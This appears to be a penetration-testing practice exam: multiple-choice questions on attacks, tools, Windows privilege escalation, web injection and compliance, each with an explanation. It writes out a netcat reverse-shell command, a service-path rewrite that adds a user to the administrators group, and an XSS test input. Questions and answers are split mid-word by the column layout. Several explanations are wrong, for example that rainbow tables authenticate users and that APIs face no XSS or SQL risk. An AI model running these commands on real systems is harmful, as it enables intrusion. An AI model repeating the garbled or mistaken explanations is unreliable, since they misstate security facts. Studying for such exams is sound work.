Jason is conducting a penetration test against an organization's Windows network. This engagement aims to demonstrate what a trusted insider could do to the organization's network. The organization provided Jason with a corporate laptop and a standard user account as an entry-level employee. He was able to download his exploit (exploit.exe) and some programs from SysInternals to his desktop. He then enters the following commands into the command shell from this standard user account: /Desktop> exploit.exe blocked /Desktop> accessschk.exe -uwcq /Desktop> sc config "Apache" Based on the output above, which of the following types of vulnerabilities is Jason exploiting? A. Unquoted service paths B. Writeable services C. Insecure sudo D. Insecure file/folder permissions	Some Windows services are run with SYSTEM privileges and may have been misconfigured by the administrator. In this case, Jason used the accesschk tool from SysInternals to find any writeable services that his user account could access. One was returned: Apache. He then stopped the service and rewrote the binary path loaded by the service to "net localgroup administrators jason /add", which will be run the next time the service is started. This will add Jason's user account (jason) to the administrators group. Next, he started the service, completing his privilege escalation through the use of writeable services.
Which of the following lateral movement techniques provides an HTTP Simple Access Object Protocol (SOAP) standard for specific remote management services on Windows systems? A. WMI B. Scheduled tasks C. WinRM D. PsExec	Windows Remote Management (WinRM) is a technology that provides an HTTP Simple Object Access Protocol (SOAP) standard for specific remote management services on Windows systems. These remote management services enable you to issue commands to remote systems without using an interactive shell. PsExec is a Windows-based remote access service that doesn't require prior setup on the host being accessed remotely. Windows Management Instrumentation (WMI) provides an interface for local or remote computer management to provide information about the status of hosts, configure security settings, and manipulate environment variables. A scheduled task is any instance of execution, such as the initiation of a process or running a script, that the system performs on a set schedule.
Your company has just announced a change to an "API first" model of software development. As a cybersecurity analyst, you are immediately concerned about the possibility of an insecure deserialization vulnerability in this model. Which of the following is the primary basis for an attack against this vulnerability? A. Insufficient logging and monitoring makes it impossible to detect when insecure deserialization vulnerabilities are exploited B. Lack of input validation could lead to a cross-site scripting attack C. Lack of input validation could allow for a SQL attack D. Accepting serialized objects from untrusted sources or the use of serialized non-primitive data may lead to remote code execution	When implementing an API, objects in memory from one computer can be serialized and passed to another for deserialization. If the API user is malicious, they may create a fictitious object, appropriately serialize it, and then send it through the API for execution. The only model for defeating this approach is to allow the API to be exposed to trusted sources or to not serialize anything with potentially executable source code (i.e., non-primitive data types). Cross-site scripting and SQL attacks are not a concern for an API first model. While stuffiest logging and monitoring would prevent an analyst from detecting if a deserialization vulnerability was exploited, these alone would not be the basis for an attack against deserialization.
An insurance company has developed a new web application to allow its customers to choose and apply for an insurance plan. You have been asked to help perform a security review of the new web application. You have discovered that the application was developed in ASP and used MSSQL for its backend database. You have been able to locate an application's search form and introduced the following code in the search input field: SRC = script (Vulnerable_to_Attack") When you click submit on the search form, your web browser returns a pop-up window that displays Vulnerable_to_Attack. Which of the following vulnerabilities did you discover in the web	This is a form of Cross-Site Scripting (XSS). Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. Attackers may use a cross-site scripting vulnerability to bypass access controls such as the same-origin policy. Cross-site request forgery (CSRF or XSRF) is a malicious exploit of a website where unauthorized commands are transmitted from a user that the web application trusts. There are many ways in which a malicious website can transmit commands, such as specially-crafted image tags, hidden forms, and JavaScript XMLHttpRequests can all work without the user's interaction or even knowledge. SQL injection is a code injection technique used to attack data-driven applications. Mali-

application? A. Cross-site scripting B. SQL injection C. Command injection D. Cross-site request forgery	cious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. Command injection is an attack in which the goal is to execute arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell.
You are planning to exploit a network-based vulnerability against a Windows server. You have determined that it is vulnerable to the EternalBlue exploit because the system hasn't installed the MS17-010 security patch. From your research, you know that this exploit would allow you to conduct arbitrary remote code execution by exploiting a fault in the communication protocol used by Windows file and print servers. Which of the following types of exploits are you planning? A. SNMP exploit B. SMTP exploit C. SMB exploit D. FTP exploit	Server Message Block (SMB) allows clients to read from and write to a server service, providing core authentication and communications for Windows file and print servers. The EternalBlue exploit was released in early 2017, and it can be used against Windows (Vista SP2 through Server 2016, both 32-bit and 64-bit versions).
While conducting a penetration test against an organization, you gained access to the CEO's account. You log in as the CEO and send the following email: Analyst, wire this money now by following this link. Which of the following attacks are you utilizing in this scenario? A. Smishing attack B. Whaling attack C. BEC attack D. Deauthentication attack	A business email compromise (BEC) is a form of elicitation where the attacker impersonates a high-level executive or directly takes over their email account. The attacker then sends an email to elicit personnel to take action on their behalf. In this example, the attacker is impersonating the company's CEO by sending an email to the financial personnel requesting they send a money transfer for what appears to be a legitimate service. This example also uses the urgency and authority motivation factors to convince the employee to take action.
Several users have contacted the help desk to report that they received an email from a well-known bank stating that their accounts have been compromised and they need to "click here" to reset their banking password. Some of these users are not even customers of this particular bank, though. Which of the following social engineering principles is being utilized as a part of this phishing campaign? A. Familiarity B. Urgency C. Intimidation D. Consensus	Familiarity is a social engineering technique that relies on assuming a widely known organization's persona. For example, in the United States, nearly 25% of Americans have a Bank of America account. For this reason, phishing campaigns often include emails pretending to be from Bank of America since 1 in 4 people who receive the email in the United States are likely to have an account. This makes them familiar with the bank name and is more likely to click on the email link. This email appears to be untargeted since it was sent to both customers and non-customers of this particular bank; it is best classified as phishing. Spear phishing requires the attack to be more targeted and less widespread. Urgency is focused on the element of time. An attacker encourages the victim to act quickly, which often leads to them making security mistakes. Urgency is related to scarcity, and the two are often effectively used together. Social proof and consensus rely on the fact that people want to fit in and conform. If a victim sees or believes others are performing some action, they will believe it is okay for them to do it.
What kind of attack is an example of IP spoofing? A. On-path attack B. SQL injections C. Cross-site scripting D. ARP poisoning	An on-path attack (formerly known as a man-in-the-middle attack) intercepts communications between two systems. For example, in an HTTP transaction, the target is the TCP connection between client and server. Using different techniques, the attacker splits the original TCP connection into 2 new connections, one between the client and the attacker and the other between the attacker and the server. This often uses IP spoofing to trick a victim into connecting to the attack. SQL injection is a code injection technique used to attack data-driven applications. Malicious SQL statements are inserted into an entry field for execution, such as dumping the database contents to the attacker. An on-path attack is an attack where the attacker secretly relays and possibly alters the communications between two parties who believe that they are directly communicating with each other. ARP Poisoning, also known as ARP Spoofing, is a type of cyber attack carried out over a Local

	Area Network (LAN) that involves sending malicious ARP packets to a default gateway on a LAN to change the pairings in its IP to MAC address table. Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in a browser side script, to a different end-user.
A user receives certificate errors in other languages within their web browser when accessing your company's website. Which of the following is the MOST likely cause of this issue? A. DoS B. On-path attack C. Reflective DNS D. ARP poisoning	An on-path attack (previously known as a man-in-the-middle attack) is a general term when a perpetrator positions himself in a conversation between a user and an application, either to eavesdrop or impersonate one of the parties, making it appear as if a normal exchange of information is occurring. For example, if your user and server are both in the United States (English language), but the attacker is performing the on-path attack from Russia, then the server will utilize the Russian language in the certificate errors. A denial-of-service attack is a cyber-attack in which the perpetrator seeks to make a machine or network resource unavailable to its intended users by temporarily or indefinitely disrupting the services of a host connected to the Internet. A reflective DNS attack is a two-step attack used in DDoS attacks. The attacker sends a large number of requests to one or more legitimate DNS servers while using a spoofed source IP of the targeted victim. The DNS server then replies to the spoofed IP and unknowingly floods the targeted victim with responses to DNS requests that it never sent. ARP poisoning or ARP spoofing consists of abusing the weaknesses in ARP to corrupt the MAC-to-IP mappings of other devices on the network.
Which of the following tools should a penetration tester use to gather credentials by extracting cleartext passwords, hashes, and PIN codes from a victimized machine's memory? A. Gobuster B. w3af C. Hydra D. Mimikatz	Mimikatz is a tool that gathers credentials by extracting key elements from memory such as cleartext passwords, hashes, and PIN codes. Gobuster is a tool that can discover subdomains, directories, and files by brute-forcing from a list of common names. The Web Application Attack and Audit Framework (w3af) allows you to identify and exploit a large set of web-based vulnerabilities, such as SQL injection and cross-site scripting. Hydra is a password cracking tool that supports parallel testing of several network authentication types simultaneously.
Which of the following tools should a penetration tester use to audit instanced and policies across AWS, Microsoft Azure, and Google Cloud? A. Ollydbg B. WPScan C. Scout Suite D. truffleHog	ScoutSuite is an open-source tool written in Python that can be used to audit instances and policies created on multi-cloud platforms, such as AWS, Microsoft Azure, and Google Cloud. OllyDbg is a debugger included with Kali Linux that analyzes binary code found in 32-bit Windows applications. The truffleHog tool is used to automatically crawl through a repository looking for accidental commits of secrets within GitHub. WPScan (WordPress Security Scanner) is a tool that automatically gathers data about a WordPress site and compares its findings of plugins against a database of known vulnerabilities.
Which of the following tools should a penetration tester use to conduct a static code analysis of a Ruby on Rails application? A. Brakeman B. Wapiti C. CrackMapExec D. CeWL	Brakeman is a static code analysis security tool for Ruby on Rails applications that checks for vulnerabilities and provides a confidence level of the finding as high, medium, and weak. The Wapiti is a web application vulnerability scanner that automatically navigates a web app to find areas where it can inject data. CrackMapExec is a post-exploitation tool to identify vulnerabilities in active directory environments. CeWL is a word list generate that automatically navigates a website and collects words from the text, metadata, and other files found on the site.
Which of the following tools should a penetration tester use as a .NET framework to conduct penetration testing and debugging? A. CeWL B. Wapiti	Covenant is an open-source .NET framework with a focus on penetration testing and contains a development/debugging component. CeWL is a word list generate that automatically navigates a website and collects words from the text, metadata, and other files found on the site. The Wapiti is a web application vulnerability scanner that automatically navigates a web app to find areas

C. Covenant D. Pacu	where it can inject data. Pacu is designed as a post-exploitation framework to assess the security configuration of an AWS account by enumerating user accounts, escalating privileges, launching additional attacks, or installing backdoors.
Which of the following vulnerabilities can be prevented by using proper input validation? (Select ANY that apply) A. SQL injection B. Cross-site scripting C. XML injection D. Directory traversal	Proper input validation can prevent cross-site scripting, SQL injection, directory traversal, and XML injections from occurring. When an application accepts string input, the input should be subjected to normalization or sanitization procedures before being accepted. Normalization means that a string is stripped of illegal characters or substrings and converted to the accepted character set. This can prevent SQL and XML injections from occurring. Input validation is also good at preventing cross-site scripting (XSS) in any forms that accept user input. Directory traversals can be prevented by conducting input validation in file paths or URLs accepted from the user. This prevents a canonicalization attack from disguising the nature of the malicious input that could cause a directory traversal.
A penetration tester wants to install an integrated platform for testing web applications. The software should allow them to capture, analyze, and manipulate HTTP traffic. Which of the following tools should they install? A. ProxyChains B. Burp Suite C. Kismet D. SET	Burp Suite is an integrated platform included for testing web applications' security by acting as a local proxy so that the attacker can capture, analyze, and manipulate HTTP traffic. SET (Social Engineering Toolkit) is an open-source penetration testing framework included with Kali Linux that supports social engineering to penetrate a network or system. Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux. ProxyChains is a command-line tool that enables pen testers to mask their identity and/or source IP address by sending messages through intermediary or proxy servers.
Your company is required to remain compliant with PCI-DSS due to the type of information processed by your systems. If there was a breach of this data, which type of disclosure would you be required to provide during your incident response efforts? A. Notification to Visa and Mastercard B. Notification to your credit card processor C. Notification to federal law enforcement D. Notification to local law enforcement	Any organization that processes a credit card will be required to work with their credit card processor instead of working directly with the card issuers (Visa and Mastercard). Conducting notification to your bank or credit card processor is one of the first steps in the incident response effort for a breach of this type of data. Typically, law enforcement does not have to be notified of a data breach at a commercial organization.
A cybersecurity analyst is working at a college that wants to increase its network's security by implementing vulnerability scans of centrally managed workstations, student laptops, and faculty laptops. Any proposed solution must scale up and down as new students and faculty use the network. Additionally, the analyst wants to minimize the number of false positives to ensure accuracy in their results. The chosen solution must also be centrally managed through an enterprise console. Which of the following scanning topologies would be BEST able to meet these requirements? A. Combination of cloud-based and server-based scanning engines B. Passive scanning engine located at the core of the network infrastructure C. Active scanning engine installed on the enterprise console D. Combination of server-based and agent-based scanning engines	Since the college wants to ensure a centrally-managed enterprise console, an active scanning engine installed on the enterprise console would best meet these requirements. The college's cybersecurity analysts could then perform scans on any devices connected to the network using the active scanning engine at the desired intervals. Agent-based scanning would be ineffective since the college cannot force the agents' installation onto each of the personally owned devices brought in by the students or faculty. A cloud-based or server-based engine may be useful, but it won't address the centrally-managed requirement. Passive scanning is less intrusive but is subject to a high number of false positives.
You are analyzing the vulnerability scanning results from a recent web vulnerability scan in preparation for the exploitation phase of an upcoming assessment. A portion of the scan results is shown below. data%3a%3bbase64% Which exploit is the website vulnerable to based on the results? Local file inclusion SQL injection	Based on the results, you can determine that this website is vulnerable to a file inclusion exploit. If you were able to decode the Base64 data in the vulnerability (which you are not expected to on the exam in real-time), you would see it references a local file like c:\wwwroot\image.jpg or similar. You could also use the process of elimination on this question by seeing no SQL or cookies displayed in the results.

Cookie manipulation Session hijacking	
Which of the following commands should be run on a victim's system to connect to a reverse shell? A. nc -lp 31337 -e /bin/sh B. nc 192.168.1.53 31337 -e /bin/sh C. nc 192.168.1.53 31337 D. nc -lp 31337	A reverse shell is established when the target machines communicate with an attack machine listening on a specific port. To set up a listener on the attack machine, you would use the command "nc -lp 31337" on it. To connect to the attacking machine from the victim machine, you would enter the command "nc 192.168.1.53 31337 -e /bin/sh" on it. A bind shell is established when a victim system "binds" its shell to a local network port. To achieve this using netcat, you should execute the command "nc -lp 31337 -e /bin/sh" on the victim machine. This sets up a listener on the machine on port 31337 and will execute the /bin/sh when another machine connects to its listener on port 31337. The attacker would enter the command "nc 192.168.1.53 31337" to connect to the victim's bind shell.
Which of the following tools should a penetration tester use to enumerate user accounts, escalate privileges, and other tasks during the post-exploitation phase against an AWS-based cloud architecture? A. Pacu B. Wapiti C. Covenant D. CeWL	Pacu is designed as a post-exploitation framework to assess the security configuration of an AWS account by enumerating user accounts, escalating privileges, launching additional attacks, or installing backdoors. Covenant is an open-source .NET framework with a focus on penetration testing and contains a development/debugging component. CeWL is a word list generate that automatically navigates a website and collects words from the text, metadata, and other files found on the site. The Wapiti is a web application vulnerability scanner that automatically navigates a web app to find areas where it can inject data.
Jason is conducting a penetration test against an organization's Windows network. This engagement aims to demonstrate what a trusted insider could do to the organization's network. The organization provided Jason with a corporate laptop and a standard user account as an entry-level employee. He was able to download his exploit (exploit.exe) and some programs from SysInternals to his desktop. He then enters the following commands into the command shell from this standard user account: >accesschk.exe -wsqud Users C:\Windows rw C:\Windows\Branding >copy exploit.exe C:\Windows\Branding Based on the output above, which of the following types of vulnerabilities was exploited? A. Insecure sudo B. Unquoted service paths C. Insecure file/folder permissions D. Writeable services	In this example, Jason used the accesschk program to determine which folders had write access within the Windows directory. When he found three that had insecure file/folder permissions, he copied his exploit to that folder (c:\Windows\Branding) and then attempted to run it from that location. Based on the results, it appears he was successful. This is likely due to the system administrator only allowing trusted programs to run from the Desktop.
How is it possible to determine if an executable file is a shell script read by Bash? A. /bin/bash has to be run in debug mode. B. The first line starts with #!/bin/bash. C. Only if you are logged in as root. D. The file must end with .sh.	The first line of the script should start with #!/bin/bash. Most shell scripts will end with a .sh by convention, but it is not required. Remember, in Linux, file extensions are only useful to the end-user, but the operating system completely ignores them.
You are currently conducting passive reconnaissance in preparation for an upcoming penetration test against Dion Training. You want to identify any web pages that contain the term "password" and whose URL contains diontraining.com in the hyperlink displayed on the page. Which of the following Google hacking queries should you use? A. password site:diontraining.com B. password link:diontraining.com	The inanchor modifier is used to search for any pages whose anchor text includes the specified term and has the search term provider somewhere on the page. For example, password inanchor:diontraining.com would return only page results that contain diontraining.com in the anchor text and have the search term "password" anywhere on the page. The link modifier is used to search for any pages that link to the website provided and have the search term anywhere on the page. For example, password link:diontraining.com would return only page results that link to Dion Training's website and have the text "password" anywhere on the page. The inurl modifier is used to search for any pages whose URLs include the term specified and have the search term anywhere on the page. For example, password inurl:diontrain-

C. password inanchor:diontraining.com D. password inurl:diontraining.com	ing.com would return only page results whose URLs include the text "diontraining.com" and have the text "password" somewhere on the page. The site modifier is used to search only the specified website for results that contain the search term. For example, password site:diontraining.com would return only results for the word password on pages located on the Dion Training website.
During your annual cybersecurity awareness training in your company, the instructor states that employees should be careful about what information they post on social media. According to the instructor, if you post too much personal information on social media, such as your name, birthday, hometown, and other personal details, it is much easier for an attacker to conduct which type of attack to break your passwords? A. Cognitive password attack B. Rainbow table attack C. Birthday attack D. Brute force attack	A cognitive password is a form of knowledge-based authentication that requires a user to answer a question, presumably something they intrinsically know, to verify their identity. If you post a lot of personal information about yourself online, this password type can easily be bypassed. For example, during the 2008 elections, Vice Presidential candidate Sarah Palin's email account was hacked because a high schooler used the "reset my password" feature on Yahoo's email service to reset her password using the information that was publically available about Sarah Palin (like her birthday, high school, and other such information).
You are conducting a penetration test against an organization. You created an evil twin of their wireless network. Many of the organization's laptops are now connected to your evil twin access point. You want to capture all of the victim's web browsing traffic in an unencrypted format during your attack. Which of the following exploits should you utilize to meet this goal? A. Perform an on-path attack B. Perform an SSL downgrade attack C. Perform an SSL stripping attack D. Perform a deauthentication attack	An SSL stripping attack, also known as an HTTP downgrade attack, forces the client to communicate with the web server in plain text (unencrypted) over HTTP instead of HTTPS. Both SSL downgrade and SSL stripping attacks are used to force the victim into using a weaker encryption mechanism (SSL downgrade to SSL-based HTTPS) or no encryption (SSL stripping to HTTP) for its web traffic.
You are logged into the Windows command prompt and want to find what systems are alive in a portion of a Class B network (172.16.0.0/24) using ICMP. What command would best accomplish this? A. ping 172.16.0.0 B. ping 172.16.0.255 C. for %X in (1 1 255) do PING 172.16.0.%X D. for /L %X in (1 1 254) do PING -n 1 172.16.0.%X | FIND /I "Reply"	The Windows command line does support some fundamental scripting, as shown in this answer. Use an iterative variable to set the starting value (start#) and then step through a set range of values until the value exceeds the set ending value (end#). /L will execute the iterative by comparing start# with end#. If start# is less than end#, the command will execute. When the iterative variable exceeds end#, the command shell exits the loop. You can also use a negative step# to step through a range in decreasing values. For example, (1,1,5) generates the sequence 1 2 3 4 5 and (5,-1,1) generates the sequence (5 4 3 2 1). The syntax is: "for /L %variable in (start# step# end#) do command [CommandLineOptions]."
Consider the following data structure: student, certification, score Jason, PenTest, 98 Tamera, Security, 95 Tim, CySA, 97 Which of the following best describes the data structure presented above? A. CSV B. Array C. Key-value pair D. JSON	A comma-separated value (CSV) file is a file where entries are separated by commas. CSV files were originally used as an export from spreadsheets but have since become a very popular way to import and export data. A key-value pair is made of a key name and a value of that key separated by a colon(:), such as type:intrusion-set. An array is a data structure consisting of a collection of elements, each identified by at least one array index or key. JSON is an open standard data encoding format of data representation that can be used and manipulated easily with scripts. It is designed to be human-readable and machine-processable. It is based on JavaScript concepts but is entirely script and language-independent
Which of the following tools provides a penetration tester with the ability to mask their identity and source IP address by sending messages through intermediaries? A. Powersploit B. Responder C. ProxyChains D. Empire	ProxyChains is a command-line tool that enables pen testers to mask their identity and/or source IP address by sending messages through intermediary or proxy servers. Empire (PowerShell Empire) is a post-exploitation framework for Windows devices that allows the attacker to run PowerShell agents without needing powershell.exe. It is commonly used to escalate privileges, launch other modules to capture data, extract passwords, and install persistent backdoors. Powersploit is a series of Microsoft PowerShell scripts that pen testers can use in post-exploit scenarios. Responder is a fake server and relay tool that is included with Kali Linux. It responds to LLMNR, NBT-NS, POP, IMAP, SMTP, and

	SQL queries to possibly recover sensitive information such as user names and passwords
Consider the following line of code: script. window.alert script. Which of the following programming languages is this line of code written in? A. JavaScript B. Python C. Ruby D. Perl	This line of code is written in JavaScript. JavaScript is a scripting language that allows a developer to do all the fancy complex things you see when you visit web pages. JavaScript is used alongside HTML and Slide(s) CSS on the World Wide Web
Your team is developing an update to a piece of code that allows customers to update their billing and shipping addresses in the web application. The shipping address field used in the database was designed with a limit of 75 characters. Your team's web programmer has brought you some algorithms that may help prevent an attacker from trying to conduct a buffer overflow attack by submitting invalid input to the shipping address field. Which pseudo-code represents the best solution to prevent this issue? A. if (shippingAddress != 75) {update field} else exit B. if (shippingAddress = 75) {update field} else exit C. if (shippingAddress <= 75) {update field} else exit D. if (shippingAddress >= 75) {update field} else exit	To ensure that the field is not overrun by an input that is too long, input validation must occur. Checking if the shipping address is less than or equal to 75 characters before updating the field will prevent a buffer overflow from occurring in this program. If the input is 76 characters or more, then the field will not be updated, and the algorithm will exit the function.
Dion Consulting Group was just hired to conduct an engagement against a financial institution that offers consumers loans and investment advice. Which of the following laws should a penetration tester review before conducting this engagement to ensure the security and confidentiality of the client information? A. DPPA B. GLBA C. HIPAA D. GDPR	The Gramm-Leach-Bliley Act (GLBA) requires financial institutions to ensure the security and confidentiality of client information and take steps to keep customer information secure. The Driver's Privacy Protection Act (DPPA) governs the privacy and disclosure of personal information gathered by state Departments of Motor Vehicles. The Health Insurance Portability and Accountability Act (HIPAA) is a privacy rule that establishes national standards to protect the privacy of individuals' medical records. The General Data Protection Regulation (GDPR) is a regulation created in the European Union that creates provisions and requirements to protect the personal data of European Union (EU) citizens. Transfers of personal data outside the EU Single Market are restricted unless protected by like-for-like regulations, such as the US's Privacy Shield requirements.
What is a legal contract that outlines the guidelines for any business documents and contracts between two parties? A. MSA B. SLA C. NDA D. SOW	A master service agreement (MSA) is an agreement that establishes precedence and guidelines for any business documents that are executed between two parties. If a company is hiring a penetration testing firm to conduct multiple engagements, they may use a master service agreement to cover each assessment's commonalities and scope. Then, there would be a scope of work (SOW) for each assessment completed under the MSA. A service level agreement (SLA) is a contract that outlines the detailed terms under which a service is provided, including reasons the contract may be terminated. A non-disclosure agreement (NDA) is a legal document that stipulates the parties will not share confidential information, knowledge, or materials with unauthorized third parties.
Which of the following is the biggest weakness with ICS and SCADA systems in a network? A. ICS/SCADA must be connected to the internet to function B. These systems are difficult to retrofit with modern security C. Cybersecurity experts don't know how to secure ICS/SCADA D. They are patched using standard vendor OS patches	Industrial control system (ICS) and supervisory control and data acquisition (SCADA) systems were developed many years before security standards were established and integrated into their design. Many of these older systems date back to the 1970s and are still in use today. Over time, these systems were incorporated into the organization's TCP/IP data networks, which provides a huge exploitation area by penetration testers and attackers alike. Many ICS and SCADA vendors are slow to implement security measures since they cannot be easily retrofitted with the newer security required. Therefore, ICS and SCADA systems should ALWAYS be isolated from production networks and segmented into their logical network. For example, some ICS/SCADA systems use a proprietary operating system. More modern ICS/SCADA

	operates using a version of Windows. However, many still use Windows XP, making them much more vulnerable since they cannot be upgraded to Windows 10 without hardware replacement.
If an attacker can compromise an Active Directory domain by utilizing an attack to grant administrative access to the domain controllers for all domain members, which type of attack is being used? A. Pass the hash B. Golden ticket C. Pivoting D. Lateral movement	A golden ticket is a Kerberos ticket that can grant other tickets in an Active Directory environment. Attackers who can create a golden ticket can use it to grant administrative access to other domain members, even to domain controllers. Pass the Hash (PtH) is the process of harvesting an account's cached credentials when the user logs in to a single sign-on (SSO) system. This would then allow the attacker to use the credentials on other systems, as well. Lateral movement is an umbrella term for a variety of attack types. Attackers can extend their lateral movement by a great deal if they can compromise host credentials. Pivoting is a process similar to lateral movement. When attackers pivot, they compromise one central host (the pivot) that allows them to spread out to other hosts that would otherwise be inaccessible.
An attacker is using a precomputed table of values to attempt to crack your Windows password. What type of password attack is this? A. Dictionary B. Brute-force C. Rainbow table D. Hybrid	A rainbow table is a tool for speeding up attacks against Windows passwords by precomputing possible hashes. A rainbow table is used to authenticate users by comparing the hash value of the entered password against the one stored in the rainbow table. Using a rainbow table makes password cracking a lot faster and easier for an attacker. A dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary. A brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly. A hybrid attack combines a dictionary list with the ability to add brute-force combinations to crack a password that is slightly different than the dictionary list entry.
You have been researching WPA2 and just discovered a new vulnerability in its implementation in a popular SOHO access point. You have created a harmless exploit to demonstrate the vulnerability and published it to a cybersecurity blog. You did not provide the details of exactly how your exploit works but have told others they need to update their access point's firmware to version 10.2 to mitigate this vulnerability. Which of the following techniques did you use in this scenario? A. Cross-compiling code B. Exploit modification C. Proof of concept D. Exploit chaining	In this scenario, the only one of these techniques we know was used for certain is a proof of concept. A proof of concept is a benign exploit developed to highlight vulnerabilities in a system or product. Usually, a proof of concept is developed by security researchers to demonstrate a flaw of vulnerability in a widely used system, software, hardware, or protocol. The technical details may not be initially published until the researcher can provide the information to the companies affected, and they can release a patch. Other times, the security researchers will provide all the details in their security blogs so that both defenders and attackers know the exploit's details
A new security appliance was installed on a network as part of a managed service deployment. The vendor controls the appliance, and the IT team cannot log in or configure it. The IT team is concerned about the appliance receiving the necessary updates. Which of the following mitigations should be performed to minimize the concern for the appliance and updates? A. Vulnerability scanning B. Automatic updates C. Configuration management D. Scan and patch the device	The best option here is vulnerability scanning as this allows the IT team to know what risks their network is taking on and where subsequent mitigations may be possible. Configuration management, automatic updates, and patching could normally be possible solutions, but these are not viable options without gaining administrative access to the appliance. Therefore, the analyst should continue to conduct vulnerability scanning of the device to understand the risks associated with it and then make recommendations to add additional compensating controls like firewall configurations, adding a WAF, providing segmentation, and other configurations outside the appliance that could minimize the vulnerabilities it presents.
Dion Training wants to implement technology within their corporate network to BEST mitigate the risk that a zero-day virus might infect their workstations. Which of the following should be implemented FIRST? A. Application allow list	Application allow list will only allow a program to execute if it is specifically listed in the approved exception list. All other programs are blocked from running. This makes it the BEST mitigation against a zero-day virus. An intrusion detection system might detect the anomalous activity created by a piece of malware, but it will only log or alert based on the activity, not prevent it. A host-based firewall may prevent a piece of malware from

B. Intrusion detection system C. Anti-malware solution D. Host-based firewall	establishing a network connection with a remote server. Still, again, it wouldn't prevent infection or prevent it from executing. An anti-malware solution is a good investment towards improving your security. Since the threat is a zero-day virus, an anti-malware solution will not detect it using its signature database.
A software assurance test analyst performs a dynamic assessment on an application by automatically generating random data sets and inputting them in an attempt to cause an error or failure condition. Which technique is the analyst utilizing? A. Known bad data injection B. Static code analysis C. Fuzzing D. Sequential data sets	Fuzzing is an automated software assessment technique that involves providing invalid, unexpected, or random data as inputs to a computer program. The program is then monitored for exceptions (crashes), failing built-in code assertions, or finding potential memory leaks. Static code analysis is a method of debugging by examining source code before a program is run. Known bad data injection is a technique where data known to cause an exception or fault is entered as part of the testing/assessment. With known bad data injections, you would not use randomly generated data sets, though.
What must be developed to show security improvements over time? A. Taxonomy of vulnerabilities B. Reports C. Metrics D. Testing tools	Metrics are a method of measuring something over time. If you wish to show the effect of security improvements over time, creating metrics would be a good option. For example, you may wish to look at the number of unpatched and known vulnerabilities. As this number decreases, your network would be considered to have improved security. Reports and testing tools alone cannot show progress. You must have measurable results using metrics.
Dion Training wants to increase the speed of response from its secure web servers when users attempt to connect to it. The company wants to enable a feature that will allow the webserver to host its SSL/TLS certificate status itself and have it time-stamped periodically by the issuing CA. This method would allow the student's web browser to only connect to the website instead of creating an individual certificate status query to the CA each time they try to connect to the site. Which of the following PKI solutions should Dion Training implement to achieve this? A. Certificate revocation list B. Certificate pinning C. Certificate stapling D. Online certificate status protocol	Certificate stapling allows a webserver to perform certificate status checking instead of having the browser perform the checking. The web server checks the status of a certificate and provides the browser with the digitally signed response from the OCSP responder. Certificate stapling is much faster than using individual queries to the CA using OCSP. The online certificate status protocol (OSCP) allows clients to request the status of a digital certificate and to check whether it is revoked. A certificate revocation list (CRL) is a list of every digital certificate that has been revoked before its expiration date. Certificate pinning is a deprecated method of trusting digital certificates that bypasses the CA hierarchy and chain of trust to minimize on-path (formerly man-in-the-middle) attacks.
You are working as a penetration tester conducting an engagement against Dion Training's corporate network. The known-environment assessment was designed to take four months of reconnaissance and two weeks of active engagement. The first week is focused on breaching the external perimeter, and the second week is focused on the internal servers. Your team has spent the last 3 months researching ways to exploit and bypass the firewalls and IPS at Dion Training. You just received a call from Dion Training stating that they just replaced their firewalls and IPS appliances with a state-of-the-art UTM. You recommend to the client that if you cannot exploit the UTM within the first 3 days, your team's source IP addresses should be allow listed to focus their time on the internal network. Which of the following BEST describes this scenario? A. Situational awareness B. De-escalation C. Goal reprioritization D. De-confliction	A penetration test is a fluid process based on the people, processes, and technology involved. When the company changed its architecture, it essentially invalidated much of the research your team conducted. The recommendation to allow list the source IP addresses is a goal reprioritization. Without adequate preparation time, it is unlikely you will exploit or bypass the new UTM appliances. Therefore, you suggest that the client reprioritize the engagement to focus on the internal network during this assessment to make the best use of your time and resources.
Consider the following file called firewall.log that contains 53,682 lines that logged every connection going into and out of this network. The log file is in the following data format, as shown below with the first two lines of the log file: Date Facility Chain In Src Dst Len Jan 11 Kernel: iptables, INPUT, eth0, 10.1.0.1, 52, 0x00, 0x00, 128, 2242, TCP, 2564, 23	The easiest way to do this is with a grep command. In Linux, you can chain together commands by piping data from one command's output to serve as the input to another command. In this scenario, you can use grep to find all the lines with the IP address first. Then, you can use the second grep command to find all the lines using port 23. The result is a smaller, filtered list of events to analyze. When using the dot in the IP addresses, you must remember to escape this character. Otherwise, grep treats it as a special

Which of the following commands would display all of the lines from the firewall.log file that contain the destination IP address of 10.1.0.10 and a destination port of 23? A. grep "10\.1\.0\.10\," firewall.log | grep "23" B. grep "10.1.0.10," firewall.log | grep "23$" C. grep "10.1.0.10," firewall.log \| grep "23" D. grep "10\.1\.0\.10\," firewall.log \| grep "23$"	character in a regular expression treated as any character (except a line break). Adding the \ before the dot (\.), grep treats it simply as a dot or period. You must also escape the comma for it to be processed properly. The $ after the port number is used to indicate that the number should only be counted as a match if it is at the end of the line. This ensures that we only return the destination ports (DPT) matching 23 and not the source port (SPT).
